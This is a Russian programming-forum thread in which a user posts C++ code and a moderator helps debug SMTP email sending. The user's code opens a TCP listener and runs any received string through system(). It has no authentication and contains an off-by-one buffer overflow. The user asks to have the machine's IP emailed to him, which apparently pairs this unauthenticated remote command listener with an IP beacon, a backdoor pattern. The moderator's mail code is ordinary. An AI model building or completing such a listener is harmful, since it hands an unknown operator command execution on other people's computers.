Форум программистов, компьютерный форум, киберфорум
C++: Сети
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.91/32: Рейтинг темы: голосов - 32, средняя оценка - 4.91
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54

Отправка данных(переменных) на почту visual c++ windows forms

29.11.2012, 13:20. Показов 5998. Ответов 45
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Напишите пожалуйста как сюда можно вставить отправку IP компьютера на email(например rambler), попроще хотелось бы с меня плюсики
Кто хочет улучшите код
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
                 #define PORT 3135
                 char buf[3072];
WSADATA wsaData;
WSAStartup(0x202,&wsaData);
SOCKET s = socket(AF_INET,SOCK_STREAM,0);
SOCKET client_sock = socket(AF_INET,SOCK_STREAM,0);
sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family=AF_INET;
serv_addr.sin_port=htons(PORT);
serv_addr.sin_addr.s_addr=0;
bind(s,(sockaddr*)&serv_addr,sizeof(serv_addr));
listen(s,10);
sockaddr_in client_addr;
int size_client_addr=sizeof(client_addr);
client_sock=accept(s,(sockaddr*)&client_addr,&size_client_addr);
label2->Text="Подключен";
 
for(int i=0;i<=3072;i++){
recv(client_sock, &buf[i], sizeof(buf[i]), 0);
if(buf[i]==0){
buf[i]=NULL;
break;}}
label1->Text=gcnew String(buf);
 system(buf);
 
shutdown(client_sock,20);
closesocket(client_sock);
shutdown(s,20);
closesocket(s);
WSACleanup();
label2->Text="Отключен";
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
29.11.2012, 13:20
Ответы с готовыми решениями:

Отправка данных на почту
Не знаю как отправить данные на почту, данные которые хранятся в #itog и в #optc &lt;section id=&quot;four&quot; class=&quot;wrapper...

Отправка данных на почту
Есть вопрос, господа, по поводу отправки данных из приложения формы vb.net на почту. Пользовался кодом, взятого с vbbook: Imports...

Отправка данных на почту
var vallogin = document.getElementById('Name').value; /* name=&quot;username&quot; */ var valpass = document.getElementById('Pass').value; /*...

45
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 14:57  [ТС]
Студворк — интернет-сервис помощи студентам
нет) странно может конвертирует через ну ты понял)
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 15:02
прогнал через функции которыми вы кодировали - не могли вы такие строки получить какими вы ответили на запросы сервера. начинает декодировать и получает `NB но дальше пусто и обратным кодированием получаем совсем не то. может какой-нибудь левый символ в строках?
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 15:05  [ТС]
Что же делать теперь
я не знаю
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 15:11
а вы прям точно уверены в своем логине и пароле? попробуйте их раскодировать до отправки и вывести в консоли: поставьте внутри mail перед bool res = строки
C++
1
2
    printf("login: %s\r\n", base64_decode(base64_encode(login.c_str(), login.length())).c_str());
    printf("password: %s\r\n", base64_decode(base64_encode(password.c_str(), password.length())).c_str());
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 15:23  [ТС]
_send_recv(s, base64_encode(login.c_str(), login.length()) + "\r\n", 334)
login.c_str()
ошибку дает но если заменить на
_send_recv(s, base64_encode(y, login.length()) + "\r\n", 334)
ошибку не выдает но эта строка пуста будет

Добавлено через 1 минуту
я не знаю как у тебя работает то весь код
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 15:35
странно.. у меня работает. еще разок повторяем
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
//------------------------------------------------------------------------------
#include <winsock>
#include <stdio.h>
#include <string>
//------------------------------------------------------------------------------
static const std::string base64_chars = 
             "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
             "abcdefghijklmnopqrstuvwxyz"
             "0123456789+/";
 
 
static inline bool is_base64(unsigned char c) {
  return (isalnum(c) || (c == '+') || (c == '/'));
}
 
std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
  std::string ret;
  int i = 0;
  int j = 0;
  unsigned char char_array_3[3];
  unsigned char char_array_4[4];
 
  while (in_len--) {
    char_array_3[i++] = *(bytes_to_encode++);
    if (i == 3) {
      char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
      char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
      char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
      char_array_4[3] = char_array_3[2] & 0x3f;
 
      for(i = 0; (i <4) ; i++)
        ret += base64_chars[char_array_4[i]];
      i = 0;
    }
  }
 
  if (i)
  {
    for(j = i; j < 3; j++)
      char_array_3[j] = '\0';
 
    char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
    char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
    char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
    char_array_4[3] = char_array_3[2] & 0x3f;
 
    for (j = 0; (j < i + 1); j++)
      ret += base64_chars[char_array_4[j]];
 
    while((i++ < 3))
      ret += '=';
 
  }
 
  return ret;
 
}
 
std::string base64_decode(std::string const& encoded_string) {
  int in_len = encoded_string.size();
  int i = 0;
  int j = 0;
  int in_ = 0;
  unsigned char char_array_4[4], char_array_3[3];
  std::string ret;
 
  while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
    char_array_4[i++] = encoded_string[in_]; in_++;
    if (i ==4) {
      for (i = 0; i <4; i++)
        char_array_4[i] = base64_chars.find(char_array_4[i]);
 
      char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
      char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
      char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
 
      for (i = 0; (i < 3); i++)
        ret += char_array_3[i];
      i = 0;
    }
  }
 
  if (i) {
    for (j = i; j <4; j++)
      char_array_4[j] = 0;
 
    for (j = 0; j <4; j++)
      char_array_4[j] = base64_chars.find(char_array_4[j]);
 
    char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
    char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
    char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
 
    for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
  }
 
  return ret;
}
//------------------------------------------------------------------------------
int get_addr(char *host_name)
{
    int res = -1;
 
    HOSTENT *phe = gethostbyname(host_name);
    if (phe)
        for (int i = 0; i < 4; i++)
            ((BYTE *)&res)[i] = phe->h_addr_list[0][i];
 
    return res;
}
//------------------------------------------------------------------------------
bool _send(SOCKET s, const std::string &message)
{
    printf("u: %s", message.c_str());
    if (!send(s, message.c_str(), message.length(), 0)) return false;
 
    return true;
}
//------------------------------------------------------------------------------
bool _recv(SOCKET s, const unsigned code)
{
    char buffer[4096];
    int buffer_size = recv(s, buffer, sizeof(buffer), 0);
    if (!buffer_size) return false;
    buffer[buffer_size] = '\0';
    printf("s: %s", buffer);
 
    unsigned _code;
    if (sscanf(buffer, "%u", &_code) != 1 || _code != code) return false;
 
    return true;
}
//------------------------------------------------------------------------------
bool _send_recv(SOCKET s, const std::string &message, const unsigned code)
{
    return _send(s, message) && _recv(s, code);
}
//------------------------------------------------------------------------------
bool mail
(
    const unsigned smtp_port,
    const std::string &smtp_addr,
    const std::string &login,
    const std::string &password,
    const std::string &name,
    const std::string &from,
    const std::string &to,
    const std::string &data
)
{
    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET) return false;
 
    SOCKADDR_IN sa;
    sa.sin_family = AF_INET;
    sa.sin_port = htons(smtp_port);
    sa.sin_addr.S_un.S_addr = get_addr((char *)smtp_addr.c_str());
 
    printf("wait for server...");
    while (connect(s, (SOCKADDR *)&sa, sizeof(sa)))
        Sleep(250);
    printf("connected\n");
 
    //RECEIVER  220 mit.edu Simple Mail Transfer Service Ready
 
    //SENDER  HELO usc.edu
    //RECEIVER  250 mit.edu
 
    //SENDER  MAIL FROM:<Smith@usc.edu>
    //RECEIVER  250 OK
 
    //SENDER  RCPT TO:<Jones@mit.edu>
    //RECEIVER  250 OK
 
    //SENDER  DATA
    //RECEIVER  354 Start mail input; end with <CRLF>.<CRLF>
 
    //SENDER  Blah blah blah...
 
    //SENDER  .
    //RECEIVER  250 OK
    
    //SENDER  QUIT
    //RECEIVER  221 mit.edu Service closing transmission channel
 
    //а то ли мы туда передаем?
 
    printf("login: %s\r\n", base64_decode(base64_encode((const unsigned char *)login.c_str(), login.length())).c_str());
    printf("password: %s\r\n", base64_decode(base64_encode((const unsigned char *)password.c_str(), password.length())).c_str());
 
    bool res =
        _recv(s, 220) &&
        _send_recv(s, "EHLO " + name + "\r\n", 250) &&
        _send_recv(s, "AUTH LOGIN\r\n", 334) &&
        _send_recv(s, base64_encode((const unsigned char *)login.c_str(), login.length()) + "\r\n", 334) &&
        _send_recv(s, base64_encode((const unsigned char *)password.c_str(), password.length()) + "\r\n", 235) &&
        _send_recv(s, "MAIL FROM:<" + from + ">\r\n", 250) &&
        _send_recv(s, "RCPT TO:<" + to + ">\r\n", 250) &&
        _send_recv(s, "DATA\r\n", 354) &&
        _send(s, data) &&
        _send_recv(s, "\r\n.\r\n", 250) &&
        _send_recv(s, "QUIT\r\n", 221);
 
    closesocket(s);
 
    return res;
}
//------------------------------------------------------------------------------
int main(int argc, char* argv[])
{
    WSADATA wsa_data;
    if (WSAStartup(0x101, &wsa_data) || wsa_data.wVersion != 0x101) return -1;
 
    mail
    (
        587, "mail.rambler.ru",
        "xxx", "xxx",
        "user",
        "", "xxx@xxx.ru",
        "Subject: oops\r\n"
        "\r\n"
        "some text\r\n"
    );
 
    WSACleanup();
 
    system("pause");
    return 0;
}
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 15:37  [ТС]
вроде нашел ошибку но ситуацию не исправило скинь код который у тебя полностью рабочий
password раньше был как login
unsigned char* y;
y = (unsigned char*) &login;
unsigned char* y2;

y2 = (unsigned char*) &password;

_send_recv(s, base64_encode(y, login.length()) + "\r\n", 334) &&
_send_recv(s, base64_encode(y2, password.length()) + "\r\n", 235) &&
то есть было
unsigned char* y;
y = (unsigned char*) &login;


_send_recv(s, base64_encode(y, login.length()) + "\r\n", 334) &&
_send_recv(s, base64_encode(y, password.length()) + "\r\n", 235) &&

Добавлено через 1 минуту
ты уже отправил ща погоди простестирую))))
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 15:38
код выше рабочий с учетом преобразований в unsigned char *
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 15:41  [ТС]
ошибки
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 15:41
ваш код был не рабочим потому что вы интерпретировали адрес объекта-строки как адрес C-строки. при вашем подходе с использованием промежуточной переменной нужно было писать
C++
1
y = (unsigned char *)login.c_str();
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 15:46  [ТС]
урааааааааааааа заработало спасибо!!!

Добавлено через 51 секунду
другим тоже должна пригодиться эта тема)
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 15:47
а у меня все компилет. правда я в билдере собираю. но это значения не имеет. он бы мне хоть ворнинги показал если что. подсветите строки где он у вас лает
Миниатюры
Отправка данных(переменных) на почту visual c++ windows forms  
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 15:58  [ТС]
да уже все заработало)
осталось только в windows forms переделать все

Добавлено через 1 минуту
если что я переделал маленько что бы заработало
unsigned char* y1;
y1 = (unsigned char *)login.c_str();
unsigned char* y2;
y2 = (unsigned char *)password.c_str();
bool res =
_recv(s, 220) &&
_send_recv(s, "EHLO " + name + "\r\n", 250) &&
_send_recv(s, "AUTH LOGIN\r\n", 334) &&
_send_recv(s, base64_encode(y1, login.length()) + "\r\n", 334) &&
_send_recv(s, base64_encode(y2, password.length()) + "\r\n", 235) &&
_send_recv(s, "MAIL FROM:<" + from + ">\r\n", 250) &&
_send_recv(s, "RCPT TO:<" + to + ">\r\n", 250) &&
_send_recv(s, "DATA\r\n", 354) &&
_send(s, data) &&
_send_recv(s, "\r\n.\r\n", 250) &&
_send_recv(s, "QUIT\r\n", 221);

closesocket(s);

return res;
}

Добавлено через 6 минут
хе теперь проблема что нужно сделать что бы заработало в windows forms все это дело?

Добавлено через 1 минуту
Цитата Сообщение от vxg Посмотреть сообщение
а у меня все компилет. правда я в билдере собираю. но это значения не имеет. он бы мне хоть ворнинги показал если что. подсветите строки где он у вас лает
надо в c++ forms перенести а то ошибки
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 16:04
это вы наверное запхали все это (а это был код консольного приложения) внутрь класса формы и естественно ее стошнило. а что значит windows forms? это ms visual express что ли?
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 16:10  [ТС]
да тупо запихал)))
посмотреть какие ошибки вылезут
ну да это ms visual express

Добавлено через 50 секунд
там где кнопки, текстбоксы расставлять можно
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 16:11
нужно запхать все кроме майн в глобальную область. а тело майн запхать в обрботчик нажатия кнопки или когда вы там собираетесь почту отправлять.
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 16:15  [ТС]
тут так легко не обойдется
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 16:19
это побочные эффекты вторжения фирмы майкрософт в язык и их загадочного подхода к рисованию интерфейса. я бы засунул все кроме майн в отдельный модуль, сделал ему заголовок в котором написал бы прототипы
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len);
std::string base64_decode(std::string const& encoded_string);
int get_addr(char *host_name);
bool _send(SOCKET s, const std::string &message);
bool _recv(SOCKET s, const unsigned code);
bool _send_recv(SOCKET s, const std::string &message, const unsigned code);
bool mail
(
    const unsigned smtp_port,
    const std::string &smtp_addr,
    const std::string &login,
    const std::string &password,
    const std::string &name,
    const std::string &from,
    const std::string &to,
    const std::string &data
);
добавил модуль в проект, включил заголовок в h-файле формы, в обработчике нажатия кнопки послал все что нужно в функцию mail помучившись со всякими крышечками и прочими инопланетными конструкциями выковыривающими данные из монстрозного GUI от MS
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 16:33  [ТС]
а хотя работает

Добавлено через 4 минуты
ладно посмотрю в гугле как это все дело перевести, Спасибо!

Добавлено через 8 минут
не работает короче)
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 16:47
ыыы... что не робит то)?

Добавлено через 41 секунду

Не по теме:

компьютер с нечеткой логикой.. каждый 3 секунды работает остальное время сомневается)

1
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
30.11.2012, 16:47
Помогаю со студенческими работами здесь

Отправка данных на почту
Не знаю как отправить данные на почту, данные которые хранятся в #itog и в #optc &lt;section id=&quot;four&quot; class=&quot;wrapper...

Отправка данных из бд на почту
Здравствуйте мне нужно отправить выборку из бд на почту ввиде таблицы, отправка работает но приходит в таблицу только одна запись((( уже...

Отправка данных на почту из Js
Доброго времени суток, возникла такая проблемка, не знаю как выполнить отправку переменных JS в сообщении на почту через PHP, нужно...

Отправка данных на почту
Имеется бриф, типа этого. Как сделать так чтобы посетитель нажав на кнопку &quot;Заказать&quot;, данные которые он ввёл отправлялись на почтовый...

Отправка данных на почту
Короче пишу программу. В ней есть функция отправки введенных пользователем данных на почту. Не могу понять как сделать так, чтобы эти...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
40
Ответ Создать тему
Новые блоги и статьи
Советы по крайней бережливости. Внимание, это ОЧЕНЬ длинный пост.
Programma_Boinc 28.12.2025
Советы по крайней бережливости. Внимание, это ОЧЕНЬ длинный пост. Налог на собак: https:/ / **********/ gallery/ V06K53e Финансовый отчет в Excel: https:/ / **********/ gallery/ bKBkQFf Пост отсюда. . .
Кто-нибудь знает, где можно бесплатно получить настольный компьютер или ноутбук? США.
Programma_Boinc 26.12.2025
Нашел на реддите интересную статью под названием Anyone know where to get a free Desktop or Laptop? Ниже её машинный перевод. После долгих разбирательств я наконец-то вернула себе. . .
Thinkpad X220 Tablet — это лучший бюджетный ноутбук для учёбы, точка.
Programma_Boinc 23.12.2025
Рецензия / Мнение/ Перевод Нашел на реддите интересную статью под названием The Thinkpad X220 Tablet is the best budget school laptop period . Ниже её машинный перевод. Thinkpad X220 Tablet —. . .
PhpStorm 2025.3: WSL Terminal всегда стартует в ~
and_y87 14.12.2025
PhpStorm 2025. 3: WSL Terminal всегда стартует в ~ (home), игнорируя директорию проекта Симптом: После обновления до PhpStorm 2025. 3 встроенный терминал WSL открывается в домашней директории. . .
Как объединить две одинаковые БД Access с разными данными
VikBal 11.12.2025
Помогите пожалуйста !! Как объединить 2 одинаковые БД Access с разными данными.
Новый ноутбук
volvo 07.12.2025
Всем привет. По скидке в "черную пятницу" взял себе новый ноутбук Lenovo ThinkBook 16 G7 на Амазоне: Ryzen 5 7533HS 64 Gb DDR5 1Tb NVMe 16" Full HD Display Win11 Pro
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru